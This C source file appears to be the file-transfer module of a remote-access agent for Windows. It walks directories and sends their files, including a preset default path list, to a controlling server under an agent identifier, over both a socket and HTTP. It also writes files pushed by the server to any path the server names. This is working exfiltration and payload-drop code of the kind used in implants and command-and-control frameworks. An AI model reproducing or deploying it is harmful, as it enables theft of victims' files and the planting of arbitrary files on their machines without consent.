#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>

#include "config.h"

#define BUFFER_SIZE 4096


void processFile(Transport* transport, char* file_path, char* buffer) {
    FILE* file = fopen(file_path, "rb");
    if (!file) {
        LOG_ERROR("Error opening file");
        return;
    }

    size_t bytes_read;
    while ((bytes_read = fread(buffer, 1, BUFFER_SIZE, file)) > 0) {
        if (transport->send(transport->handle, buffer, bytes_read) <= 0) {
            LOG_ERROR("Error sending file data\n");
            fclose(file);
            return;
        }
    }
    fclose(file);
    LOG("File transfer complete: %s\n", file_path);
}

void sendFilesHelper(Transport* transport, char** paths, size_t num_paths, char* buffer) {
    for (size_t i = 0; i < num_paths; ++i) {
        char* file_path = paths[i];
        struct stat file_stat;
        if (stat(file_path, &file_stat) != 0) {
            LOG("Path does not exist: %s\n", file_path);
            continue;
        }
        if (S_ISDIR(file_stat.st_mode)) {
            LOG("Processing directory: %s\n", file_path);
            DIR* dir = opendir(file_path);
            if (!dir) {
                LOG_ERROR("Error opening directory");
                continue;
            }
            struct dirent* entry;
            while ((entry = readdir(dir)) != NULL) {
                if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) {
                    continue;
                }
                char full_path[1024];
                snprintf(full_path, sizeof(full_path), "%s\\%s", file_path, entry->d_name);
                char* sub_paths[] = { full_path };
                sendFilesHelper(transport, sub_paths, 1, buffer);
            }
            closedir(dir);
        }
        else {
            char response[32];
            int n = transport->recv(transport->handle, response, sizeof(response) - 1);
            if (n <= 0 || strncmp(response, "SEND_METADATA", n) != 0) {
                LOG_ERROR("Error: Expected SEND_METADATA, got: %.*s\n", n, response);
                return;
            }

            long file_size = file_stat.st_size;
            char metadata[1024];
            snprintf(metadata, sizeof(metadata), "%ld|%s", file_size, file_path);
            LOG("Sending metadata: %s\n", metadata);
            if (transport->send(transport->handle, metadata, strlen(metadata)) <= 0) {
                LOG_ERROR("Error sending metadata\n");
                continue;
            }

            n = transport->recv(transport->handle, response, sizeof(response) - 1);
            if (n <= 0 || strncmp(response, "SEND_DATA", n) != 0) {
                LOG_ERROR("Error: Expected SEND_DATA, got: %.*s\n", n, response);
                return;
            }

            processFile(transport, file_path, buffer);

            // n = transport->recv(transport->handle, response, sizeof(response) - 1);
            // if (n <= 0) {
            //     LOG_ERROR("Error receiving next instruction\n");
            //     return;
            // }
            // if (strncmp(response, "END", n) == 0) {
            //     LOG("Server requested end of transfer\n");
            //     return;
            // } else if (strncmp(response, "NEXT", n) != 0) {
            //     LOG_ERROR("Error: Expected NEXT or END, got: %.*s\n", n, response);
            //     return;
            // }
        }
    }
}

void SendFiles(Transport* transport, char* customfile_paths[], size_t customNumFiles) {
    char buffer[BUFFER_SIZE];
    char** paths = (customfile_paths != NULL) ? customfile_paths : std_file_paths;
    size_t count = (customNumFiles > 0) ? customNumFiles : std_num_files;

    char init_message[64];
    snprintf(init_message, sizeof(init_message), "%s~FILE", agent_id);
    if (transport->send(transport->handle, init_message, strlen(init_message)) <= 0) {
        LOG_ERROR("Error sending %s\n", init_message);
        return;
    }
    LOG("Sent initiation: %s\n", init_message);

    sendFilesHelper(transport, paths, count, buffer);

    if (transport->send(transport->handle, "ENDTRANSFER", strlen("ENDTRANSFER")) <= 0) {
        LOG_ERROR("Error sending end-of-transfer marker\n");
    }
    LOG("End-of-transfer marker sent\n");
}

void sendFileHTTP(Transport* transport, char* file_path) {
    struct stat file_stat;
    if (stat(file_path, &file_stat) != 0) {
        LOG("File does not exist: %s\n", file_path);
        return;
    }
    
    if (!S_ISREG(file_stat.st_mode)) {
        LOG("Path is not a regular file: %s\n", file_path);
        return;
    }
    
    // Create message with agent_id, FILE type, and full file path
    char message[1024];
    snprintf(message, sizeof(message), "%s~FILE~%s", agent_id, file_path);
    
    LOG("Sending message %s\n", message);
    LOG("Sending file: %s\n", file_path);
    
    // Use the transport's send_file function
    int result = transport->send_file(transport->handle, file_path, message);
    if (result > 0) {
        LOG("File sent successfully: %s (%d bytes)\n", file_path, result);
    } else {
        LOG_ERROR("Failed to send file: %s\n", file_path);
    }
}

void sendFilesHTTPHelper(Transport* transport, char** paths, size_t num_paths) {
    for (size_t i = 0; i < num_paths; ++i) {
        char* file_path = paths[i];
        struct stat file_stat;
        
        if (stat(file_path, &file_stat) != 0) {
            LOG("Path does not exist: %s\n", file_path);
            continue;
        }
        
        if (S_ISDIR(file_stat.st_mode)) {
            LOG("Processing directory: %s\n", file_path);
            DIR* dir = opendir(file_path);
            if (!dir) {
                LOG_ERROR("Error opening directory: %s\n", file_path);
                continue;
            }
            
            struct dirent* entry;
            while ((entry = readdir(dir)) != NULL) {
                // Skip current and parent directory entries
                if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) {
                    continue;
                }
                
                // Build full path
                char full_path[1024];
                snprintf(full_path, sizeof(full_path), "%s\\%s", file_path, entry->d_name);
                
                // Recursively process the entry (file or subdirectory)
                char* sub_paths[] = { full_path };
                sendFilesHTTPHelper(transport, sub_paths, 1);
            }
            closedir(dir);
        } 
        else if (S_ISREG(file_stat.st_mode)) {
            // It's a regular file, send it
            sendFileHTTP(transport, file_path);
        }
        else {
            LOG("Skipping non-regular file: %s\n", file_path);
        }
    }
}

void SendFilesHTTP(Transport* transport, char* customfile_paths[], size_t customNumFiles) {
    // Determine which paths to use
    char** paths = (customfile_paths != NULL) ? customfile_paths : std_file_paths;
    size_t count = (customNumFiles > 0) ? customNumFiles : std_num_files;
    
    LOG("Starting HTTP file transfer session with %zu paths\n", count);
    
    // Send all files/directories
    sendFilesHTTPHelper(transport, paths, count);
    
    LOG("HTTP file transfer session completed\n");
}

// Receive file from server using Windows API
void ReceiveFile(char* result, Transport* transport) {
    char buffer[BUFFER_SIZE];
    HANDLE hFile = INVALID_HANDLE_VALUE;
    DWORD dwBytesWritten = 0;
    DWORD dwError = 0;
    
    // Send request for metadata
    if (transport->send(transport->handle, "SEND_METADATA", strlen("SEND_METADATA")) <= 0) {
        int wsaError = WSAGetLastError();
        LOG_ERROR("Error sending SEND_METADATA (WSA Error: %d)\n", wsaError);
        sprintf(result, "Error: Failed to send metadata request (WSA Error: %d)", wsaError);
        return;
    }

    // Receive metadata (format: "file_size|filename")
    char metadata[1024];
    int n = transport->recv(transport->handle, metadata, sizeof(metadata) - 1);
    if (n <= 0) {
        int wsaError = WSAGetLastError();
        LOG_ERROR("Error receiving metadata (WSA Error: %d)\n", wsaError);
        sprintf(result, "Error: Failed to receive metadata (WSA Error: %d)", wsaError);
        return;
    }
    metadata[n] = '\0';
    LOG("Received metadata: %s\n", metadata);

    // Parse metadata manually to handle spaces in filenames
    long file_size;
    char filename[512];
    
    // Find the pipe separator
    char* pipe_pos = strchr(metadata, '|');
    if (!pipe_pos) {
        LOG("Invalid metadata format: no pipe separator found\n");
        sprintf(result, "Error: Invalid metadata format");
        return;
    }
    
    // Parse file size (everything before the pipe)
    *pipe_pos = '\0';  // Temporarily null-terminate the file size part
    file_size = atol(metadata);
    *pipe_pos = '|';   // Restore the pipe character
    
    if (file_size <= 0) {
        LOG("Invalid file size: %ld\n", file_size);
        sprintf(result, "Error: Invalid file size (%ld bytes)", file_size);
        return;
    }
    
    // Get filename (everything after the pipe)
    char* filename_start = pipe_pos + 1;
    
    // Remove surrounding quotes if present
    if (*filename_start == '\'' || *filename_start == '"') {
        filename_start++; // Skip opening quote
        size_t len = strlen(filename_start);
        if (len > 0 && (filename_start[len-1] == '\'' || filename_start[len-1] == '"')) {
            filename_start[len-1] = '\0'; // Remove closing quote
        }
    }
    
    // Copy the cleaned filename
    strncpy(filename, filename_start, sizeof(filename) - 1);
    filename[sizeof(filename) - 1] = '\0';
    
    LOG("Parsed: file_size=%ld, filename='%s'\n", file_size, filename);

    // Create/open file for writing using Windows API
    hFile = CreateFileA(
        filename,                       // Use parsed filename instead of remote_path
        GENERIC_WRITE,                  // Access mode
        0,                              // Share mode (exclusive access)
        NULL,                           // Security attributes
        CREATE_ALWAYS,                  // Creation disposition (overwrite existing)
        FILE_ATTRIBUTE_NORMAL,          // File attributes
        NULL                            // Template file handle
    );

    if (hFile == INVALID_HANDLE_VALUE) {
        dwError = GetLastError();
        LOG_ERROR("Error creating file '%s' (Error: %lu)\n", filename, dwError);
        sprintf(result, "Error: Failed to create file '%s' (Error: %lu)", filename, dwError);
        return;
    }

    // Send acknowledgment to start data transfer
    if (transport->send(transport->handle, "SEND_DATA", strlen("SEND_DATA")) <= 0) {
        int wsaError = WSAGetLastError();
        LOG_ERROR("Error sending SEND_DATA (WSA Error: %d)\n", wsaError);
        sprintf(result, "Error: Failed to send data request (WSA Error: %d)", wsaError);
        CloseHandle(hFile);
        // Attempt to delete the partially created file
        DeleteFileA(filename);
        return;
    }

    // Receive and write file data
    long total_bytes_received = 0;
    int bytes_received;
    BOOL bWriteResult;
    
    while (total_bytes_received < file_size) {
        // Calculate remaining bytes to receive
        long remaining_bytes = file_size - total_bytes_received;
        int bytes_to_receive = (remaining_bytes < BUFFER_SIZE) ? (int)remaining_bytes : BUFFER_SIZE;
        
        // Clear any previous errors before the recv call
        WSASetLastError(0);
        SetLastError(0);
        
        bytes_received = transport->recv(transport->handle, buffer, bytes_to_receive);
        
        if (bytes_received <= 0) {
            int wsaError = WSAGetLastError();
            DWORD winError = GetLastError();
            
            // Log detailed error information
            LOG_ERROR("recv() failed: returned %d, WSA error: %d, Win32 error: %lu\n", 
                      bytes_received, wsaError, winError);
            LOG_ERROR("Attempted to receive %d bytes after %ld total bytes\n", 
                      bytes_to_receive, total_bytes_received);
            
            // Determine which error to report
            if (wsaError != 0 && wsaError >= 10000) {
                // Standard Winsock error
                sprintf(result, "Error: Network error after %ld bytes (WSA Error: %d)", 
                        total_bytes_received, wsaError);
            } else if (winError != 0) {
                // Windows API error
                sprintf(result, "Error: System error after %ld bytes (Win32 Error: %lu)", 
                        total_bytes_received, winError);
            } else {
                // No specific error code, connection likely closed
                sprintf(result, "Error: Connection closed by remote host after %ld bytes", 
                        total_bytes_received);
            }
            
            CloseHandle(hFile);
            DeleteFileA(filename);
            return;
        }

        // Write data to file using Windows API
        bWriteResult = WriteFile(
            hFile,                      // File handle
            buffer,                     // Data buffer
            (DWORD)bytes_received,      // Number of bytes to write
            &dwBytesWritten,            // Number of bytes written
            NULL                        // Overlapped structure (not used)
        );

        if (!bWriteResult || dwBytesWritten != (DWORD)bytes_received) {
            dwError = GetLastError();
            LOG_ERROR("Error writing to file after %ld bytes (Error: %lu)\n", total_bytes_received, dwError);
            sprintf(result, "Error: Failed to write data to file (Error: %lu)", dwError);
            CloseHandle(hFile);
            DeleteFileA(filename);
            return;
        }

        total_bytes_received += bytes_received;
        
        // Optional: Log progress for large files
        if (file_size > 1024 * 1024 && total_bytes_received % (1024 * 1024) == 0) {
            LOG("Progress: %ld / %ld bytes (%.1f%%)\n", 
                total_bytes_received, file_size, 
                (double)total_bytes_received / file_size * 100.0);
        }
    }

    // Ensure all data is written to disk
    if (!FlushFileBuffers(hFile)) {
        dwError = GetLastError();
        LOG_ERROR("Warning: Failed to flush file buffers (Error: %lu)\n", dwError);
        // Continue anyway as data might still be valid
    }

    CloseHandle(hFile);

    // Verify file size matches expected
    if (total_bytes_received != file_size) {
        LOG_ERROR("File size mismatch: received %ld bytes, expected %ld bytes\n", 
                  total_bytes_received, file_size);
        sprintf(result, "Error: File size mismatch (received %ld, expected %ld bytes)", 
                total_bytes_received, file_size);
        DeleteFileA(filename);
        return;
    }

    LOG("File uploaded successfully to: %s (%ld bytes)\n", filename, total_bytes_received);
    sprintf(result, "File uploaded successfully to: %s (%ld bytes)", filename, total_bytes_received);
}